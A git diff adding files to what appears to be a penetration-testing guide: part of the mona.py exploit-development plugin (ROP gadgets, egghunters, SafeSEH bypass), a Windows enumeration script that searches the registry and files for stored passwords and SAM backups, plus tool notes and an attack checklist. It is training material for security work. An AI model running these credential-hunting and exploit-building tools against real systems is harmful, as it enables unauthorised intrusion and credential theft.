: Address belonging to the page that needs to be changed + -acl : New ACL. Valid values are R,RW,RXW,RX,N,GUARD,NOCACHE,WC""" + + infodumpUsage = """Dumps contents of memory to file. Contents will include all pages that don't +belong to stack, heap or loaded modules. +Output will be written to infodump.xml""" + + pebUsage = """Show the address of the Process Environment Block (PEB)""" + + tebUsage = """Show the address of the Thread Environment Block (TEB) for the current thread""" + + jsehUsage = """(look for jmp/call dword ptr[ebp/esp+nn and ebp-nn] + add esp,8+ret) +Only addresses outside address range of modules will be listed unless parameter 'all' is given. +In that case, all addresses will be listed. TRY THIS ONE !""" + + + encUsage = """Encode a series of bytes +Arguments: + -t : Type of encoder to use. Allowed value(s) are alphanum + -s : The bytes to encode (or use -f instead) + -f : The full path to the binary file that contains the bytes to encode""" + + stringUsage = """Read a string from memory or write a string to memory +Arguments: + -r : Read a string, use in combination with -a + -w : Write a string, use in combination with -a and -s + -noterminate : Do not terminate the string (using in combination with -w) + -u : use UTF-16 (Unicode) mode + -s : The string to write + -a
: The location to read from or write to""" + + unicodealignUsage = """Generates a venetian shellcode alignment stub which can be placed directly before unicode shellcode. + +Arguments: + -a
: Specify the address where the alignment code will start/be placed + : If -a is not specified, the current value in EIP will be used. + -l : Prepend alignment with a null byte compensating nop equivalent + (Use this if the last instruction before the alignment routine 'leaks' a null byte) + -b : Set the bufferregister, defaults to eax + -t : Time in seconds to run heuristics (defaults to 15) + -ebp : Overrule the use of the 'current' value of ebp, + ebp/address will be used to calculate offset to shellcode""" + + copyUsage = """Copies bytes from one location to another. + +Arguments: + -src
: The source address + -dst
: The destination address + -n : The number of bytes to copy""" + + dumpobjUsage = """Dump the contents of an object. + +Arguments: + -a
: Address of object + -s : Size of object (default value: 0x28 or size of chunk) +Optional arguments: + -l : Recursively dump objects + -m : Size for recursive objects (default value: 0x28) +""" + + dumplogUsage = """Dump all objects recorded in an alloc/free log +Note: dumplog will only dump objects that have not been freed in the same logfile. +Expected syntax for log entries: + Alloc : 'alloc(size in hex) = address' + Free : 'free(address)' +Additional text after the alloc & free info is fine. +Just make sure the syntax matches exactly with the examples above. +Arguments: + -f : Full path to the logfile +Optional arguments: + -l : Recursively dump objects + -m : Size for recursive objects (default value: 0x28)""" + + tobpUsage = """Generate WinDBG syntax to set a logging breakpoint at a given location +Arguments: + -a
: Location (address, register) for logging breakpoint +Optional arguments: + -e : Execute breakpoint command right away""" + + flowUsage = """Simulates execution flows from current location (EIP), tries all conditional jump combinations +Optional arguments: + -e
: Show execution flows that will reach specified address + -avoid : Only show paths that don't contain any of the pointers to avoid + -n : Max nr of instructions, default: 60 + -cl : Max level of CALL to follow in detail, default: 3 + -cs : Don't show details of first CALL/child functions. default: 0 + -func : Show function names (slows down process).""" + + evalUsage = """Evaluates an expression +Arguments: + + +Accepted syntax includes: + hex values, decimal values (prefixed with 0n), registers, + module names, 'heap' ( = address of default process heap), + module!functionname + simple math operations""" + + diffheapUsage = """Compare current heap layout with previously saved state +Arguments: + -save : save current state to disk + -diff : compare current state with previously saved state""" + + + commands["seh"] = MnCommand("seh", "Find pointers to assist with SEH overwrite exploits",sehUsage, procFindSEH) + commands["config"] = MnCommand("config","Manage configuration file (mona.ini)",configUsage,procConfig,"conf") + commands["jmp"] = MnCommand("jmp","Find pointers that will allow you to jump to a register",jmpUsage,procFindJMP, "j") + commands["ropfunc"] = MnCommand("ropfunc","Find pointers to pointers (IAT) to interesting functions that can be used in your ROP chain",ropfuncUsage,procFindROPFUNC) + commands["rop"] = MnCommand("rop","Finds gadgets that can be used in a ROP exploit and do ROP magic with them",ropUsage,procROP) + commands["jop"] = MnCommand("jop","Finds gadgets that can be used in a JOP exploit",jopUsage,procJOP) + commands["jseh"] = MnCommand("jseh", "Finds gadgets that can be used to bypass SafeSEH", jsehUsage, procJseh) + commands["stackpivot"] = MnCommand("stackpivot","Finds stackpivots (move stackpointer to controlled area)",stackpivotUsage,procStackPivots) + commands["modules"] = MnCommand("modules","Show all loaded modules and their properties",modulesUsage,procShowMODULES,"mod") + commands["filecompare"] = MnCommand("filecompare","Compares 2 or more files created by mona using the same output commands",filecompareUsage,procFileCOMPARE,"fc") + commands["pattern_create"] = MnCommand("pattern_create","Create a cyclic pattern of a given size",patcreateUsage,procCreatePATTERN,"pc") + commands["pattern_offset"] = MnCommand("pattern_offset","Find location of 4 bytes in a cyclic pattern",patoffsetUsage,procOffsetPATTERN,"po") + commands["find"] = MnCommand("find", "Find bytes in memory", findUsage, procFind,"f") + commands["findwild"] = MnCommand("findwild", "Find instructions in memory, accepts wildcards", findwildUsage, procFindWild,"fw") + commands["assemble"] = MnCommand("assemble", "Convert instructions to opcode. Separate multiple instructions with #",assembleUsage,procAssemble,"asm") + commands["info"] = MnCommand("info", "Show information about a given address in the context of the loaded application",infoUsage,procInfo) + commands["dump"] = MnCommand("dump", "Dump the specified range of memory to a file", dumpUsage,procDump) + commands["offset"] = MnCommand("offset", "Calculate the number of bytes between two addresses", offsetUsage, procOffset) + commands["compare"] = MnCommand("compare","Compare contents of a binary file with a copy in memory", compareUsage, procCompare,"cmp") + commands["breakpoint"] = MnCommand("bp","Set a memory breakpoint on read/write or execute of a given address", bpUsage, procBp,"bp") + commands["nosafeseh"] = MnCommand("nosafeseh", "Show modules that are not safeseh protected", nosafesehUsage, procModInfoS) + commands["nosafesehaslr"] = MnCommand("nosafesehaslr", "Show modules that are not safeseh protected, not aslr and not rebased", nosafesehaslrUsage, procModInfoSA) + commands["noaslr"] = MnCommand("noaslr", "Show modules that are not aslr or rebased", noaslrUsage, procModInfoA) + commands["findmsp"] = MnCommand("findmsp","Find cyclic pattern in memory", findmspUsage,procFindMSP,"findmsf") + commands["suggest"] = MnCommand("suggest","Suggest an exploit buffer structure", suggestUsage,procSuggest) + commands["bytearray"] = MnCommand("bytearray","Creates a byte array, can be used to find bad characters",bytearrayUsage,procByteArray,"ba") + commands["header"] = MnCommand("header","Read a binary file and convert content to a nice 'header' string",headerUsage,procPrintHeader) + commands["update"] = MnCommand("update","Update mona to the latest version",updateUsage,procUpdate,"up") + commands["getpc"] = MnCommand("getpc","Show getpc routines for specific registers",getpcUsage,procgetPC) + commands["egghunter"] = MnCommand("egghunter","Create egghunter code",eggUsage,procEgg,"egg") + commands["stacks"] = MnCommand("stacks","Show all stacks for all threads in the running application",stacksUsage,procStacks) + commands["skeleton"] = MnCommand("skeleton","Create a Metasploit module skeleton with a cyclic pattern for a given type of exploit",skeletonUsage,procSkeleton) + commands["breakfunc"] = MnCommand("breakfunc","Set a breakpoint on an exported function in on or more dll's",bfUsage,procBf,"bf") + commands["heap"] = MnCommand("heap","Show heap related information",heapUsage,procHeap) + commands["getiat"] = MnCommand("getiat","Show IAT of selected module(s)",getiatUsage,procGetIAT,"iat") + commands["geteat"] = MnCommand("geteat","Show EAT of selected module(s)",geteatUsage,procGetEAT,"eat") + commands["pageacl"] = MnCommand("pageacl","Show ACL associated with mapped pages",getpageACLUsage,procPageACL,"pacl") + commands["bpseh"] = MnCommand("bpseh","Set a breakpoint on all current SEH Handler function pointers",bpsehUsage,procBPSeh,"sehbp") + commands["kb"] = MnCommand("kb","Manage Knowledgebase data",kbUsage,procKb,"kb") + commands["encode"] = MnCommand("encode","Encode a series of bytes",encUsage,procEnc,"enc") + commands["unicodealign"] = MnCommand("unicodealign","Generate venetian alignment code for unicode stack buffer overflow",unicodealignUsage,procUnicodeAlign,"ua") + #commands["heapcookie"] = MnCommand("heapcookie","Looks for writeable pointers that can help avoiding cookie check during arbitrary free",heapCookieUsage,procHeapCookie,"hc") + if __DEBUGGERAPP__ == "Immunity Debugger": + commands["deferbp"] = MnCommand("deferbp","Set a deferred breakpoint",deferUsage,procBu,"bu") + commands["calltrace"] = MnCommand("calltrace","Log all CALL instructions",calltraceUsage,procCallTrace,"ct") + if __DEBUGGERAPP__ == "WinDBG": + commands["fillchunk"] = MnCommand("fillchunk","Fill a heap chunk referenced by a register",fillchunkUsage,procFillChunk,"fchunk") + commands["dumpobj"] = MnCommand("dumpobj","Dump the contents of an object",dumpobjUsage,procDumpObj,"do") + commands["dumplog"] = MnCommand("dumplog","Dump objects present in alloc/free log file",dumplogUsage,procDumpLog,"dl") + commands["changeacl"] = MnCommand("changeacl","Change the ACL of a given page",changeaclUsage,procChangeACL,"ca") + commands["allocmem"] = MnCommand("allocmem","Allocate some memory in the process",allocmemUsage,procAllocMem,"alloc") + commands["tobp"] = MnCommand("tobp","Generate WinDBG syntax to create a logging breakpoint at given location",tobpUsage,procToBp,"2bp") + commands["flow"] = MnCommand("flow","Simulate execution flows, including all branch combinations",flowUsage,procFlow,"flw") + #commands["diffheap"] = MnCommand("diffheap", "Compare current heap layout with previously saved state", diffheapUsage, procDiffHeap, "dh") + commands["fwptr"] = MnCommand("fwptr", "Find Writeable Pointers that get called", fwptrUsage, procFwptr, "fwp") + commands["sehchain"] = MnCommand("sehchain","Show the current SEH chain",sehchainUsage,procSehChain,"exchain") + commands["hidedebug"] = MnCommand("hidedebug","Attempt to hide the debugger",hidedebugUsage,procHideDebug,"hd") + commands["gflags"] = MnCommand("gflags", "Show current GFlags settings from PEB.NtGlobalFlag", gflagsUsage, procFlags, "gf") + commands["infodump"] = MnCommand("infodump","Dumps specific parts of memory to file", infodumpUsage, procInfoDump,"if") + commands["peb"] = MnCommand("peb","Show location of the PEB",pebUsage,procPEB,"peb") + commands["teb"] = MnCommand("teb","Show TEB related information",tebUsage,procTEB,"teb") + commands["string"] = MnCommand("string","Read or write a string from/to memory",stringUsage,procString,"str") + commands["copy"] = MnCommand("copy","Copy bytes from one location to another",copyUsage,procCopy,"cp") + commands["?"] = MnCommand("?","Evaluate an expression",evalUsage,procEval,"eval") + # get the options + opts = {} + last = "" + arguments = [] + argcopy = copy.copy(args) + + aline = " ".join(a for a in argcopy) + if __DEBUGGERAPP__ == "WinDBG": + aline = "!py " + aline + else: + aline = "!mona " + aline + dbg.log("[+] Command used:") + dbg.log("%s" % aline) + + + # in case we're not using Immunity + if "-showargs" in args: + dbg.log("-" * 50) + dbg.log("args: %s" % args) + + if len(args) > 0: + if args[0].lower().startswith("mona") or args[0].lower().endswith("mona") or args[0].lower().endswith("mona.py"): + args.pop(0) + + if len(args) >= 2: + arguments = args[1:] + if "-showargs" in args: + dbg.log("arguments: %s" % arguments) + + + for word in arguments: + if (word[0] == '-'): + word = word.lstrip("-") + opts[word] = True + last = word + else: + if (last != ""): + if str(opts[last]) == "True": + opts[last] = word + else: + opts[last] = opts[last] + " " + word + #last = "" + # if a command only requires a value and not a switch ? + # then we'll drop the value into dictionary with key "?" + if len(args) > 1 and args[1][0] != "-": + opts["?"] = args[1] + + + if len(args) < 1: + commands["help"].parseProc(opts) + return("") + + command = args[0] + if "-showargs" in args: + dbg.log("command: %s" % command) + dbg.log("-" * 50) + args.remove("-showargs") + arguments.remove("-showargs") + + # ----- execute the chosen command ----- # + if command in commands: + if command.lower().strip() == "help": + commands[command].parseProc(args) + else: + commands[command].parseProc(opts) + + else: + # maybe it's an alias + aliasfound = False + for cmd in commands: + if commands[cmd].alias == command: + commands[cmd].parseProc(opts) + aliasfound = True + if not aliasfound: + commands["help"].parseProc(None) + return("** Invalid command **") + + # ----- report ----- # + endtime = datetime.datetime.now() + delta = endtime - starttime + dbg.log("") + dbg.log("[+] This mona.py action took %s" % str(delta)) + dbg.setStatusBar("Done") + + except: + dbg.log("*" * 80,highlight=True) + dbg.logLines(traceback.format_exc(),highlight=True) + dbg.log("*" * 80,highlight=True) + dbg.error(traceback.format_exc()) + + return "" + +if __name__ == "__main__": + dbg.log("Hold on...") + # do we need to profile ? + doprofile = False + if "-profile" in sys.argv: + doprofile = True + dbg.log("Starting profiler...") + cProfile.run('main(sys.argv)', 'monaprofile') + else: + main(sys.argv) + if doprofile: + dbg.log("[+] Showing profile stats...") + p = pstats.Stats('monaprofile') + dbg.log(" ***** ALL *****") + p.print_stats() + dbg.log(" ***** CUMULATIVE *****") + p.sort_stats('cumulative').print_stats(30) + dbg.log(" ***** TIME *****") + p.sort_stats('time', 'cum').print_stats(30) + # clear memory + if __DEBUGGERAPP__ == "WinDBG": + dbglib.clearvars() + try: + # allvars = [var for var in globals() if var[0] != "_"] + # for var in allvars: + # del globals()[var] + resetGlobals() + dbg = None + except: + pass diff --git a/_static/files/winenum.bat b/_static/files/winenum.bat new file mode 100644 index 0000000..5b209bf --- /dev/null +++ b/_static/files/winenum.bat @@ -0,0 +1,286 @@ +@echo OFF +echo ---------------------------------------------- +echo Windows Enumeration Script v1.1 +echo ---------------------------------------------- +echo By absolomb +echo ---------------------------------------------- +echo creating temp folder to dump output at C:\temp +mkdir C:\temp +echo. +set OS=1 +echo. +echo 1: Vista/2003SP2 and newer(default) +echo 2: XP/2003 +echo Choose 1 or 2 +set /p OS="Choose OS: " + +echo ---------------------------------------------- +echo Basic System Info +echo ---------------------------------------------- +systeminfo + +echo. +echo ---------------------------------------------- +echo Network Information +echo ---------------------------------------------- +ipconfig /all + +echo. +echo ---------------------------------------------- +echo ARP table +echo ---------------------------------------------- +arp -a + +echo. +echo ---------------------------------------------- +echo Routing table +echo ---------------------------------------------- +route print + +echo. +echo ---------------------------------------------- +echo Network Connections +echo ---------------------------------------------- +netstat -ano + +echo. +echo ---------------------------------------------- +echo Mapped Drives +echo ---------------------------------------------- +net use + +echo. +echo ---------------------------------------------- +echo Firewall State +echo ---------------------------------------------- +netsh firewall show state + +echo. +echo ---------------------------------------------- +echo Firewall Config +echo ---------------------------------------------- +netsh firewall show config + +echo. +echo ---------------------------------------------- +echo Local Users +echo ---------------------------------------------- +net users + +if "%OS%" == "1" ( + echo. + echo ---------------------------------------------- + echo User Home Directories + echo ---------------------------------------------- + dir /b /ad "C:\Users\" +) + +if "%OS%" == "2" ( + echo. + echo ---------------------------------------------- + echo User Home Directories + echo ---------------------------------------------- + echo. + dir /b /ad "C:\Documents and Settings\" +) + +echo. +echo ---------------------------------------------- +echo Local Groups +echo ---------------------------------------------- +net localgroup + +echo. +echo ---------------------------------------------- +echo Users in Administrators Group +echo ---------------------------------------------- +net localgroup Administrators + +echo. +echo ---------------------------------------------- +echo Environment Variables +echo ---------------------------------------------- +set + +echo. +echo ---------------------------------------------- +echo Looking for backup SAM files +echo ---------------------------------------------- +echo. +dir %SYSTEMROOT%\repair\SAM +dir %SYSTEMROOT%\system32\config\regback\SAM + +echo. +echo ---------------------------------------------- +echo Installed Software Directories +echo ---------------------------------------------- +echo. +dir "C:\Program Files" +echo. +dir "C:\Program Files (x86)" + +if "%OS%" == "1" ( + echo. + echo ---------------------------------------------- + echo Searching for Modify or Full Permissions in Program Files Directories + echo ---------------------------------------------- + echo. + echo Folders with Full Permissions for Everyone + echo ---------------------------------------------- + echo. + icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone" + icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone" + + echo. + echo Folders with Modify Permissions for Everyone + echo ---------------------------------------------- + echo. + icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone" + icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone" + + echo. + echo Folders with Full Permissions for BUILTIN\Users + echo ---------------------------------------------- + echo. + icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" + icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" + + echo. + echo Folders with Modify Permissions for BUILTIN\Users + echo ---------------------------------------------- + echo. + icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" + icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" +) + +if "%OS%" == "2" ( + echo. + echo ---------------------------------------------- + echo Searching for Modify or Full Permissions in Program Files Directories + echo ---------------------------------------------- + echo. + echo Folders with Full Permissions for Everyone + echo ---------------------------------------------- + echo. + cacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone" + cacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone" + + echo. + echo Folders with Modify Permissions for Everyone + echo ---------------------------------------------- + echo. + cacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone" + cacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone" + + echo. + echo Folders with Full Permissions for BUILTIN\Users + echo ---------------------------------------------- + echo. + cacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" + cacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" + + echo. + echo Folders with Modify Permissions for BUILTIN\Users + echo ---------------------------------------------- + echo. + cacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" + cacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" +) + +echo. +echo ---------------------------------------------- +echo Software in registry +echo ---------------------------------------------- +reg query HKEY_LOCAL_MACHINE\SOFTWARE + +echo. +echo ---------------------------------------------- +echo Scheduled Tasks +echo ---------------------------------------------- +echo. +schtasks /query /fo LIST 2>nul | findstr TaskName +echo. +dir C:\windows\tasks +echo. +echo Check the log file at C:\Windows\schedlgu.txt + + +echo. +echo ---------------------------------------------- +echo Running Processes +echo ---------------------------------------------- +tasklist /svc + +echo. +echo ---------------------------------------------- +echo Services +echo ---------------------------------------------- +echo. +net start + +echo. +echo ---------------------------------------------- +echo Search for Unquoted Service Paths using WMI +echo ---------------------------------------------- +echo. +wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """ + +echo. +echo ---------------------------------------------- +echo Anything in Registry for User Autologon? +echo ---------------------------------------------- +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" + +echo. +echo ---------------------------------------------- +echo Checking registry for AlwaysInstallElevated.. +echo ---------------------------------------------- +reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated + +echo. +echo ---------------------------------------------- +echo Interesting Files dumping to C:\temp\files.txt +echo ---------------------------------------------- +echo. + +cd C:\ +echo Looking for sysprep and unattend files.. +echo. +echo sysprep and unattend files > C:\temp\files.txt +echo. >> files.txt +dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul >> C:\temp\files.txt + +echo. +echo Looking for any web.config files.. +echo web.config files >> C:\temp\files.txt +echo. >> C:\temp\files.txt +dir /s web.config >> C:\temp\files.txt 2>nul + +echo. +echo Looking for any other interesting files.. +echo Other files >> C:\temp\files.txt +dir /s *pass* == *cred* == *vnc* == *.config* 2>nul >> C:\temp\files.txt + +echo. +echo ---------------------------------------------- +echo Mentions of password in the registry dumping to C:\temp\reg.txt +echo ---------------------------------------------- + +echo HKCU Password Search > C:\temp\reg.txt +reg query HKCU /f password /t REG_SZ /s >> C:\temp\reg.txt +echo. >> C:\temp\reg.txt +echo. >> C:\temp\reg.txt +echo HKLM Password Search >> C:\temp\reg.txt +reg query HKLM /f password /t REG_SZ /s >> C:\temp\reg.txt + +echo. +echo ---------------------------------------------- +echo Files with password dumping to C:\temp\password.txt +echo ---------------------------------------------- +echo. +findstr /si password *.xml *.ini *.txt *.config 2>nul > C:\temp\password.txt + +echo. +echo ---------------------------------------------- +echo Script done! +echo Check your files at C:\temp\ diff --git a/_static/files/wmic_info.bat b/_static/files/wmic_info.bat new file mode 100644 index 0000000..5bde13f --- /dev/null +++ b/_static/files/wmic_info.bat @@ -0,0 +1,14 @@ +for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A" + +wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html +wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html +wmic USERACCOUNT list full /format:"%var%" >> out.html +wmic group list full /format:"%var%" >> out.html +wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html +wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html +wmic netuse list full /format:"%var%" >> out.html +wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html +wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html +wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html +wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html +wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html \ No newline at end of file diff --git a/binaries/man.rst b/binaries/man.rst new file mode 100644 index 0000000..9c2fbef --- /dev/null +++ b/binaries/man.rst @@ -0,0 +1,9 @@ +######### +Man Pages +######### + +Sometimes a program won't give you it's -\\-help text over a limited shell. Obviously we also can't use man pages, which load with the less program. However we can tell man to use cat to display these files: + +.. code-block:: none + + man -P cat program diff --git a/binaries/netcat.rst b/binaries/netcat.rst new file mode 100644 index 0000000..4f8bc89 --- /dev/null +++ b/binaries/netcat.rst @@ -0,0 +1,9 @@ +###### +Netcat +###### + +On Linux, netcat will send an LF character when enter/return is pressed. Several services (e.g. smtp, pop3) expect a CRLF instead. Force netcat to send a CRLF with the -C flag: + +.. code-block:: none + + nc -C -nv 10.0.0.1 25 diff --git a/binaries/radare2.rst b/binaries/radare2.rst new file mode 100644 index 0000000..d33fd53 --- /dev/null +++ b/binaries/radare2.rst @@ -0,0 +1,5 @@ +####### +Radare2 +####### + +* https://gist.github.com/williballenthin/6857590dab3e2a6559d7 diff --git a/binaries/rdesktop.rst b/binaries/rdesktop.rst new file mode 100644 index 0000000..87d1bf7 --- /dev/null +++ b/binaries/rdesktop.rst @@ -0,0 +1,18 @@ +######## +rdesktop +######## + +Useful rdesktop commands +------------------------ + +**Mount directory as a disk drive** + +.. code-block:: none + + rdesktop -r disk:kali=/path/to/dir + +**Enable font smoothing** + +.. code-block:: none + + rdesktop 10.0.0.1 -x 0x8F diff --git a/binaries/sqsh.rst b/binaries/sqsh.rst new file mode 100644 index 0000000..f6b66d5 --- /dev/null +++ b/binaries/sqsh.rst @@ -0,0 +1,9 @@ +#### +sqsh +#### + +Run .sql file after connecting: + +.. code-block:: none + + sqsh -U -P -S -i diff --git a/binaries/ssh.rst b/binaries/ssh.rst new file mode 100644 index 0000000..7d9f230 --- /dev/null +++ b/binaries/ssh.rst @@ -0,0 +1,21 @@ +### +SSH +### + +Don't check the host key (disables prompt when connecting to a server for the first time): + +.. code-block:: none + + ssh -o "StrictHostKeyChecking=no" + +Force key-based authentication (no password prompt): + +.. code-block:: none + + ssh -o "IdentitiesOnly=yes" -i + +Force password authentication: + +.. code-block:: none + + ssh -o "PreferredAuthentications=password" -o "PubkeyAuthentication=no" diff --git a/binaries/tcpdump.rst b/binaries/tcpdump.rst new file mode 100644 index 0000000..f830a79 --- /dev/null +++ b/binaries/tcpdump.rst @@ -0,0 +1,32 @@ +####### +tcpdump +####### + +Save tcpdump as a pcap file +--------------------------- + +**Useful for when you want to view the capture in Wireshark** + +.. code-block:: none + + tcpdump -s0 -i eth0 -w capture.pcap + +**Disable name resolution (-n)** + +.. code-block:: none + + tcpdump -n -s0 -i -eth0 -w capture.pcap + +**Filter traffic to specific host (note: use BPF)** + +.. code-block:: none + + tcpdump -n -s0 -i eth0 -w capture.pcap host 192.168.1.1 + +**Filter traffic to ports (note: use BPF)** + +.. code-block:: none + + tcpdump -n -s0 -i eth0 -w capture.pcap tcp port 445 + +**BPF guide** diff --git a/binaries/winexe.rst b/binaries/winexe.rst new file mode 100644 index 0000000..184d977 --- /dev/null +++ b/binaries/winexe.rst @@ -0,0 +1,5 @@ +###### +winexe +###### + +* https://easyoradba.com/2018/02/04/execute-windows-commands-from-linux-using-winexe-connect-from-linux-to-windows-without-ssh/ diff --git a/cheatsheets.rst b/cheatsheets.rst new file mode 100644 index 0000000..d3f9da2 --- /dev/null +++ b/cheatsheets.rst @@ -0,0 +1,26 @@ +############ +Cheat Sheets +############ + +* https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/ +* https://github.com/xxooxxooxx/xxooxxooxx.github.io/wiki/OSCP-Survival-Guide +* https://github.com/RustyShackleford221/OSCP-Prep.git +* https://guide.offsecnewbie.com/ +* https://gist.github.com/kkirsche/75a8b48e58f80223f4a73c18739446dd +* https://github.com/swisskyrepo/PayloadsAllTheThings +* https://room362.com/post/2011/2011-05-16-dumping-hashes-on-win2k8-r2-x64-with-metasploit/ +* https://netsec.ws/?p=457 +* https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#enumeration +* https://github.com/rewardone/OSCPRepo/tree/master/KeepNotes/BookmarkList +* https://sushant747.gitbooks.io/total-oscp-guide/ +* https://ptestmethod.readthedocs.io/en/latest/index.html +* https://blog.ropnop.com/practical-usage-of-ntlm-hashes/ +* https://github.com/burntmybagel/OSCP-Prep +* http://pwnwiki.io/# +* https://exploitedbunker.com/articles/pentest-cheatsheet/ +* https://github.com/moshekaplan/pentesting_notes/ +* https://forum.hackthebox.eu/discussion/612/oscp-practice +* https://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/ +* https://github.com/Snifer/security-cheatsheets +* http://www.lifeoverpentest.com/ +* https://hausec.com/pentesting-cheatsheet/#_Toc475368977 diff --git a/checklist.rst b/checklist.rst new file mode 100644 index 0000000..edb7152 --- /dev/null +++ b/checklist.rst @@ -0,0 +1,31 @@ +############################# +Penetration Testing Checklist +############################# + +This page serves as an overly simplified checklist for the entire penetration testing process, from initial enumeration to the final privilege escalation. + +Enumeration +=========== + +* Run nmap scans with service/version detection. + + * From the result of those scans, perform further enumeration scans of identified services. + * If there are any web servers, start running dirsearch with larger wordlists. + +* Check version numbers of services against the Exploit Database and Google. +* Starting with less complex services, perform manual enumeration. Leave any web servers last. + + +Web Apps +======== + +* Ensure that dirsearch has been run with a huge wordlist, and various file extensions. +* Manually browse the app while proxying via Burp. + + * Use Burp Spider to crawl the site as you browse. + +* Check for LFI if pages are being loaded dynamically. + + * If possible, can we get shell? I.e. apache log pollution, or using php filters to inject content. + +* If there's some kind of login form prohibiting entry, try SQL injection, brute-force, etc. diff --git a/conf.py b/conf.py new file mode 100644 index 0000000..df1b6c1 --- /dev/null +++ b/conf.py @@ -0,0 +1,187 @@ +# -*- coding: utf-8 -*- +# +# Configuration file for the Sphinx documentation builder. +# +# This file does only contain a selection of the most common options. For a +# full list see the documentation: +# http://www.sphinx-doc.org/en/master/config + +# -- Path setup -------------------------------------------------------------- + +# If extensions (or modules to document with autodoc) are in another directory, +# add these directories to sys.path here. If the directory is relative to the +# documentation root, use os.path.abspath to make it absolute, like shown here. +# +# import os +# import sys +# sys.path.insert(0, os.path.abspath('.')) + + +# -- Project information ----------------------------------------------------- + +project = 'Penetration Testing Guide' +copyright = '2018, Tib3rius' +author = 'Tib3rius' + +# The short X.Y version +version = '' +# The full version, including alpha/beta/rc tags +release = '0.1' + + +# -- General configuration --------------------------------------------------- + +# If your documentation needs a minimal Sphinx version, state it here. +# +# needs_sphinx = '1.0' + +# Add any Sphinx extension module names here, as strings. They can be +# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom +# ones. +extensions = [ + 'sphinx.ext.todo', +] + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# The suffix(es) of source filenames. +# You can specify multiple suffix as a list of string: +# +# source_suffix = ['.rst', '.md'] +source_suffix = '.rst' + +# The master toctree document. +master_doc = 'index' + +# The language for content autogenerated by Sphinx. Refer to documentation +# for a list of supported languages. +# +# This is also used if you do content translation via gettext catalogs. +# Usually you set "language" from the command line for these cases. +language = None + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +# This pattern also affects html_static_path and html_extra_path. +exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] + +# The name of the Pygments (syntax highlighting) style to use. +pygments_style = None + + +# -- Options for HTML output ------------------------------------------------- + +# The theme to use for HTML and HTML Help pages. See the documentation for +# a list of builtin themes. +# +#html_theme = 'alabaster' +html_theme = "sphinx_rtd_theme" + +# Theme options are theme-specific and customize the look and feel of a theme +# further. For a list of options available for each theme, see the +# documentation. +# +# html_theme_options = {} + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static'] + +# Custom sidebar templates, must be a dictionary that maps document names +# to template names. +# +# The default sidebars (for documents that don't match any pattern) are +# defined by theme itself. Builtin themes are using these templates by +# default: ``['localtoc.html', 'relations.html', 'sourcelink.html', +# 'searchbox.html']``. +# +# html_sidebars = {} + + +# -- Options for HTMLHelp output --------------------------------------------- + +# Output file base name for HTML help builder. +htmlhelp_basename = 'PenetrationTestingGuidedoc' + + +# -- Options for LaTeX output ------------------------------------------------ + +latex_elements = { + 'sphinxsetup': 'verbatimcontinued={}' + # The paper size ('letterpaper' or 'a4paper'). + # + # 'papersize': 'letterpaper', + + # The font size ('10pt', '11pt' or '12pt'). + # + # 'pointsize': '10pt', + + # Additional stuff for the LaTeX preamble. + # + # 'preamble': '', + + # Latex figure (float) alignment + # + # 'figure_align': 'htbp', +} + +# Grouping the document tree into LaTeX files. List of tuples +# (source start file, target name, title, +# author, documentclass [howto, manual, or own class]). +latex_documents = [ + (master_doc, 'PenetrationTestingGuide.tex', 'Penetration Testing Guide Documentation', + 'Tib3rius', 'manual'), +] + + +# -- Options for manual page output ------------------------------------------ + +# One entry per 